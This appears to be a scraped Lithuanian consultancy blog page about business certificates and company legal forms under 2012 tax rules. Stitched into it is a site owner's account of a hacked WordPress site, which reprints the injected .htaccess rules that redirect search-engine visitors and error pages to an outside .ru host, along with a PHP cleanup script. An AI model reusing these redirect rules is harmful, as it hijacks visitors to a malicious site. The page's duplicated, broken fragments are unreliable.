Verslo liudijimą galima įsigyti ribotam laikui, visi mokesčiai sumokami iš anksto ir yra fiksuoto dydžio, t.y. kad  nepriklausomai nuo pajamų apimties jie yra tokie, kokius jūs sumokėjote įsigydami verslo liudijimą. Tiesa yra kai kurie ribojimai, kurie ypač sugriežtinti po 2012 m. sausio 1 d. Taigi veikla pagal verslo liudijimą galima verstis jei pajamos nesiekia 155 tūkst. Lt., t.y. neatsiranda prievolės registruotis PVM mokėtoju ir kitas svarbus dalykas, nuo 2012 m. gegužės 1 d. atsiranda dar vienas ribojimas – pajamos iš juridinių asmenų negali viršyti 10 proc. visų pajamų gautų iš veiklos pagal verslo liudijimą.
Verslo liudijimų išdavimo tvarką reglamentuoja 2002 m. lapkričio 19 d. nutarimas Nr. 1797 ,,Dėl verslo liudijimų išdavimo gyventojams taisyklių“, paskutinis jo pakeitimas Valstybės žiniose yra paskelbtas 2011 m. lapkritį (VŽ, 2011 Nr. 133 – 6316)
Verslo liudijimai gali būti išduodami pageidaujamam kalendorinių metų
išduodami pageidaujamam kalendorinių Trumpiausias laikotarpis yra viena diena.
išduodami pageidaujamam kalendorinių metų laikotarpiui, bet ne ilgiau kaip kalendoriams metams ir ne trumpiau kaip 5 kalendorinėms dienoms, kurios neprivalo eiti paeiliui, t.y. gyventojas gali pasirinkti veiklą vykdyti bet kokias kalendorinių metų 5 dienas
Gyventojo pageidavimu verslo liudijimas, išduotas laikotarpiui trumpesniam nei iki metų pabaigos arba laikotarpiui su tarpais, sumokėjus papildomą pajamų mokestį, gali būti pratęstas.
Verslo liudijime gali būti įrašomi šie fiziniai asmenys: sutuoktinis, tėvas, motina, vaikas nuo 14 metų, globojamasis, globėjas (rūpintojas), tačiau iš veiklos, kuriai buvo išduotas verslo liudijimas, gautas pajamas turi deklaruoti verslo liudijimą įsigijęs gyventojas. Verslo liudijime nurodyti asmenys turi teisę dalyvauti gyventojo vykdomoje individualioje veikloje, kuriai išduotas verslo liudijimas.
Nuo 2012 m. sausio 1 dienos į verslo liudijimą galės būti įrašomas tik vienas šeimos narys.

UAB „FACTUS SUM“ specialistų informacija

Kita veiklos teisinė forma – individuali veikla pagal pažymą, kaip tai reglamentuoja Gyventojų pajamų mokesčio įstatymas. Tai teisė užsiimti ūkine – komercine veikla neįsteigiant įmonės.
Minėtas įstatymas nurodo, kad individuali veikla – savarankiška veikla, kuria versdamasis gyventojas siekia gauti pajamų ar kitokios ekonominės naudos per tęstinį laikotarpį:
Individualiai veiklai priskiriama bet kokio pobūdžio komercinė arba gamybinė veikla, išskyrus tas komercines arba gamybines veiklos sritis, kuriomis verstis įstatymai įsakmiai numato reikalavimą įsteigti juridinius asmenis – tai reikia pasitikslinti atitinkamą veiklos sritį reglamentuojančiuose teisės aktuose, o taip pat atitinkamose institucijose, kuruojančiose tą veiklos sritį.
Veikla registruojama Valstybinėje mokesčių inspekcijoje, pateikus nustatytos formos prašymą FR0792, jo pagrindu asmens duomenys registruojami Mokesčių mokėtojų registre ir išduodama nustatytos formos (FR0468) pažyma. Individualios veiklos pagal pažymą registravimo tvarką reglamentuoja Valstybinės mokesčių inspekcijos prie Lietuvos Respublikos finansų ministerijos viršininko 2005 m. balandžio 4 d. įsakymas Nr. VA-29 „Dėl nuolatinių Lietuvos gyventojų įregistravimo į Mokesčių mokėtojų registrą/išregistravimo iš Mokesčių mokėtojų registro“

Juridiniai asmenys

Pati pažangiausia veiklos teisinė forma – veikla įregistravus juridinį asmenį – įmonę. Juridinio asmens sąvoką apibrėžia Civilinio kodekso 2.33 straipsnis. Taip pat Civilinis kodeksas numato steigimo tvarką, juridinio asmens organų sąvoką, jų kompetenciją ir funkcijas, juridinio asmens pabaigą bei kitus susijusius klausimus. Šį reglamentavimą detalizuoja poįstatyminiai teisės aktai.
Lietuvos Respublikoje galima įregistruoti viešuosius ir privačiuosius juridinius asmenis.
Pagal LR Vyriausybės 2003 m. lapkričio 12 d. nutarimu Nr. 1407 patvirtintų Juridinių asmenų registrų nuostatų 11 ir 12 punktus juridinių asmenų tipai yra:
1. Privatieji juridiniai asmenys (akcinės bendrovės, uždarosios akcinės bendrovės, žemės ūkio bendrovės, kooperatinės bendrovės (kooperatyvai), tikrosios ūkinės bendrijos, komanditinės ūkinės bendrijos, individualios įmonės, Europos ekonominių interesų grupės, advokatų profesinės bendrijos, Europos bendrovės, Europos kooperatinės bendrovės).
2. Viešieji juridiniai asmenys (valstybės įmonės, savivaldybių įmonės, biudžetinės įstaigos, viešosios įstaigos, asociacijos, labdaros ir paramos fondai, gyvenamųjų namų statybos bendrijos,  bendrijos (daugiabučių namų savininkų, individualių gyvenamųjų namų savininkų, garažų savininkų, poilsio namų savininkų, kūrybinių dirbtuvių savininkų ir kitų negamybinių pastatų patalpų savininkų), sodininkų bendrijos, politinės partijos, religinės bendruomenės ir bendrijos,  profesinės sąjungos ir jų susivienijimai, nuolatinės arbitražo institucijos, Europos teritorinio bendradarbiavimo grupės, šeimynos).

Individuali įmonė

Jeigu planuojate teikti paslaugas ar imtis kitos ūkinės komercinės veiklos, kuriai atlikti pakanka šeimos narių darbo ir nedidelio pradinio kapitalo, galite steigti individualią įmonę (IĮ).
Individualių įmonių įstatymas (naujausia redakcija paskelbta 2010 m. VŽ Nr. 1 – 25) reglamentuoja įmonių, kurių teisinė forma yra individuali įmonė, steigimą, valdymą, veiklą, pertvarkymą, likvidavimą, šių įmonių savininkų teises ir pareigas.
Individualios įmonės steigėju gali būti tik veiksnus fizinis asmuo. Individualią įmonę steigia vienas fizinis asmuo. Minėtas įstatymas riboja individualios įmonės savininko teisę būti kitos individualios įmonės savininku, nes individuali įmonė yra neribotos civilinės atsakomybės asmuo ir jos savininkas atsako už įmonės prievoles visu savo turtu. Taigi verslo nesėkmės atveju atsiranda rizika prarasti savo turtą. Reikėtų įvertinti riziką susijusią su atliekamų darbų ar paslaugų kokybe, atlikimo terminais, tiekėjais ir pan.
Neįvykdžius prievolių užsakovui, valstybei, socialinio draudimo įstaigai ar kitiems kreditoriams iš įmonės turto, prievolių įvykdymas yra nukreipiamas į savininko turtą. Individualios įmonės skolos negali būti nurašomos
Nepaisant to, yra ir privalumų, tai supaprastina buhalterinė apskaita (nereikia sudarinėti finansinės atskaitomybės, o tik pateikti deklaracijas mokesčių inspekcijai), individualios įmonės savininkas įmonėje gali dirbti pats vienas, o esant poreikiui įdarbinti kitus asmenis. Taip pat individuali įmonė gali būti pertvarkoma į akcinę bendrovę (AB), uždarąją akcinę bendrovę (UAB), taip pat į viešąją įstaigą (VšĮ).
Ūkinė bendrija

Tai taip pat neribotos civilinės atsakomybės juridiniai asmenys, kurią steigti sprendimą priima fiziniai asmenys ir pasirašo jungtinės veiklos sutartį.
Ūkinių bendrijų įstatymas (naujausia redakcija paskelbta 2011 VŽ Nr. 146-6846)  reglamentuoja tikrųjų ūkinių bendrijų (TŪB) ir komanditinių (pasitikėjimo) ūkinių bendrijų (KŪB) steigimą, reorganizavimą ir likvidavimą, valdymą ir veiklą, narių teises ir pareigas, taip pat kapitalo formavimą ir jo paskirstymą. Kai šio įstatymo tekstas taikomas ir tikrajai ūkinei bendrijai, ir komanditinei (pasitikėjimo) ūkinei bendrijai, vartojamas terminas “bendrija”.
Tikroji ūkinė bendrija (TŪB) yra neribotos civilinės atsakomybės privatusis juridinis asmuo, kurios visi dalyviai yra tikrieji nariai ir kuri įgyja civilines teises, prisiima civilines pareigas ir jas įgyvendina per tikruosius narius, ūkinių bendrijų, kaip juridinių asmenų rūšies ypatumas tas, jog tai yra visiškos turtinės atsakomybės įmonė, jos turtas neatskirtas nuo jos narių turto. Pagal TŪB prievoles jos nariai atsako solidariai visu savo turtu. TŪB neatsako pagal savo narių prievoles, nesusijusias su bendrijos veikla. Tikroji ūkinė bendrija – tokia verslo organizacija, kai nuosavybė priklauso daugiau nei vienam fiziniam ar juridiniam asmeniui. Ūkinės bendrijos tikrasis narys yra bendrijos dalyvis, sudaręs bendrijos jungtinės veiklos sutartį ir įnešęs ar įsipareigojęs įnešti įnašą į bendriją.
Komanditinė (pasitikėjimo) ūkinė bendrija (KŪB) sudaro bendros firmos vardu veikiantys tikrieji nariai ir nariai komanditoriai. Komanditinėje (pasitikėjimo) ūkinėje bendrijoje turi būti bent vienas tikrasis narys ir bent vienas narys komanditorius. KŪB turtas atskirtas nuo komanditorių turto, o nuo tikrųjų narių turto neatskirtas. Pagal KŪB prievoles jos tikrieji nariai solidariai atsako visu savo turtu, o nariai komanditoriai – tik tuo savo turtu, kurį perdavė arba turėjo perduoti KŪB, bet jo neperdavė sutartyje numatytais terminais. Bendrosios jungtinės veiklos sutartimi gali būti numatyta ir kitokia komanditorių atsakomybė. KŪB neatsako pagal savo narių prievoles, nesusijusias su bendrijos veikla.

Kuriant ūkines bendrijas reikia atsižvelgti į šias rizikas: tikrieji bendrijos nariai už veiklos nesėkmes atsako savo turtu, yra riboti finansiniai ištekliai, gali atsirasti konfliktas tarp partnerių.
Privalumai steigiant ūkines bendrijas: galimybė suvienyti finansinius ir intelektualinius išteklius, tikrieji nariai gali dirbti be darbo sutarčių, supaprastinta buhalterinė apskaita.

UAB „FACTUS SUM“ specialistų informacija

Mano atveju buvo įsilaužta į WordPress naudojančią svetainę, .htaccess faile pridėtos šios eilutės:

Pakeisto .htaccess failo tūrinys:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER}
^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$
http://xisicongatarc.ru/emain/index.php [R=301,L]
RewriteCond %{HTTP_REFERER}
^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$
http://xisicongatarc.ru/emain/index.php [R=301,L]
</IfModule>

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

ErrorDocument 400
http://xisicongatarc.ru/emain/index.php
ErrorDocument 401
http://xisicongatarc.ru/emain/index.php
ErrorDocument 403
http://xisicongatarc.ru/emain/index.php
ErrorDocument 404
http://xisicongatarc.ru/emain/index.php
ErrorDocument 500
http://xisicongatarc.ru/emain/index.php

Nutrynus kenksmingą kodą, po keliolikos minučių jis vėl atsirasdavo, taigi, kažkur tarp šimtų svetainės failų būvo paliktas “backdooras”, kenksmingas failas ar kodo dalis faile, kuris vis pridėdavo nereikalingus nukreipimus.

Laikinai pasirašiau php skriptelį, kad nereikėtų rankom vis trint kodo,
tačiau reikia vis paleidinėtį jį, kad suveiktų. Įsidėjau į naršyklės toolbarą, ir ieškodamas problemos vis paspausdavau, kad būtų pašalinti nukreipimai.

<?php

chmod(“.htaccess”, 0777);  // octal; correct value of mode

$myFile = “.htaccess”;
$fh = fopen($myFile, ‘w’) or die(“can’t open file”);

$stringData = ”
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress”;

fwrite($fh, $stringData);

fclose($fh);

?>

Kenksmingą failą rasti buvo sunkoka, naudojau PHP skriptą, kuris ieško teksto failų viduje, tačiau nebuvo aišku ko ieškoti, nes kodas gali būti užkoduotas. Kenksmingo base64 neradau, mėginau užklausas .htaccess, fopen ir pan.

Galop visai atsitiktinai Uploads kataloge radau failą _cache.php. Kitoje WordPress svetainėje tokio failo nebuvo. Jį pervadinus bėda išsisprendė.

Jei turite panašią bėdą, bet nežinote, kaip ją išspręsti, kreipkitės, galbūt padėsim

Štai ką rodė svetainės skenavimo rezultatas:

Planuojamų straipsnių temos:

• įmonių teisinės formos
• įmonės pavadinimas
• įmonės registravimas registrų centre
• įmonės registravimas VMI ir Sodroje.

Taigi dėl šių pasikeitimų atsiranda šios naujovės:
- nuo 2012 m. gegužės 1 d.  verslo liudijimus turintys asmenys galės parduoti prekes ir teikti paslaugas gyventojams taip pat parduoti tik savo gamybos prekes ir teikti paslaugas (išskyrus gyvenamosios paskirties patalpų nuomą) juridiniams asmenims, jeigu iš juridiniams asmenims parduotų savo gamybos prekių ir suteiktų paslaugų gautos pajamos ne didesnės kaip 10 procentų visų pajamų, gautų iš verslo liudijime nurodytos veiklos;
Teisė teikti paslaugas ar parduoti savo gamybos prekes asmenims galima tik tuo atveju, kai veiklos, kuria gali būti verčiamasi turint liudijimą, rūšis nėra viena iš veiklos, kuria faktiškai verčiasi juridinis asmuo, rūšių.

- nuo 2012 m. sausio 1 d. bus pakeistos galimybės verstis prekyba –  išduotas prekybos verslo liudijimas suteikia teisę užsiimti prekyba kioskuose, turgavietėse, prekyba iš (nuo) laikinųjų prekybos įrenginių, išnešiojamąja ir išvežiojamąja prekyba.

- nuo 2012 m. gegužės 1 d. išduotas prekybos verslo liudijimas nesuteikia teisės prekiauti automobiliais, motociklais, mopedais, cukrumi, prekiauti nuo laikinųjų prekybos įrenginių, pastatytų patalpose (išskyrus prekybą gėlėmis, knygomis, spaudos leidiniais ir prekybą patalpose, esančiose turgavietės teritorijoje), taip pat iš kioskų, pastatytų patalpose, parduoti žemės ūkio ir maisto produktus, kitas prekes gyventojams jų individualios prekybos veiklos, įskaitant tą veiklą, kuri vykdoma įsigijus prekybos verslo liudijimus, tikslais.
Pardavus žemės ūkio ir maisto produktus, kitas prekes gyventojams taip pat užsiimančiais prekyba, gyventojas turės susimokėti 5 proc. gyventojų pajamų mokestį  nuo iš perpardavimo veiklos gauto pelno, t.y. didmeninė prekyba su verslo liudijimu nebus galima.

- nuo 2012 m. sausio 1 d. verslo liudijime galės būti įrašomas tik vienas fizinis asmuo (anksčiau galėjo būti keletas). Beje taisyklėse pateiktas baigtinis sąrašas asmenų kurie gali būti įrašomi į verslo liudijimą: tėvas, motina, vaikas nuo 14 metų, globojamasis, globėjas (rūpintojas).
Prievolė deklaruoti pajamas išlieka gyventojui, kuriam buvo išduotas verslo liudijimas.

Pasikeičia veiklų sąrašas, galimų verstis pagal verslo liudijimus, siaurinamos veiklos kurios reikalauja specifinių žinių: išbrauktos architektų, inžinierių ir pan. veiklos, susiaurintos kitos su statybos veikla susijusios veiklos, paliekant teisę įsigijus verslo liudijimą užsiimti statybos baigimo ir apdailos bei specialiaisiais statybos darbais, šildymo ir oro kondicionavimo bei elektros sistemų įrengimu ir kt.
Apribota galimybė gyventojams su verslo liudijimu užsiimti plačia nekilnojamojo turto nuomos veikla, paliekant teisę nuomoti tik gyvenamosios paskirties patalpas.
Iš sąrašo išbrauktos ir žemės ūkio veiklos, nes pagal GPM įstatymo nuostatas gyventojų pajamos iš žemės ūkio veiklos neapmokestinamos, jei gyventojas nėra PVM mokėtojas.

Ir dar labai svarbus dalykas – o nuo 2012 m. sausio 1 d., įgijus PVM mokėtojo statusą, teisės vykdyti veiklą su verslo liudijimų nebeliks.
UAB „FACTUS SUM“ specialistų informacija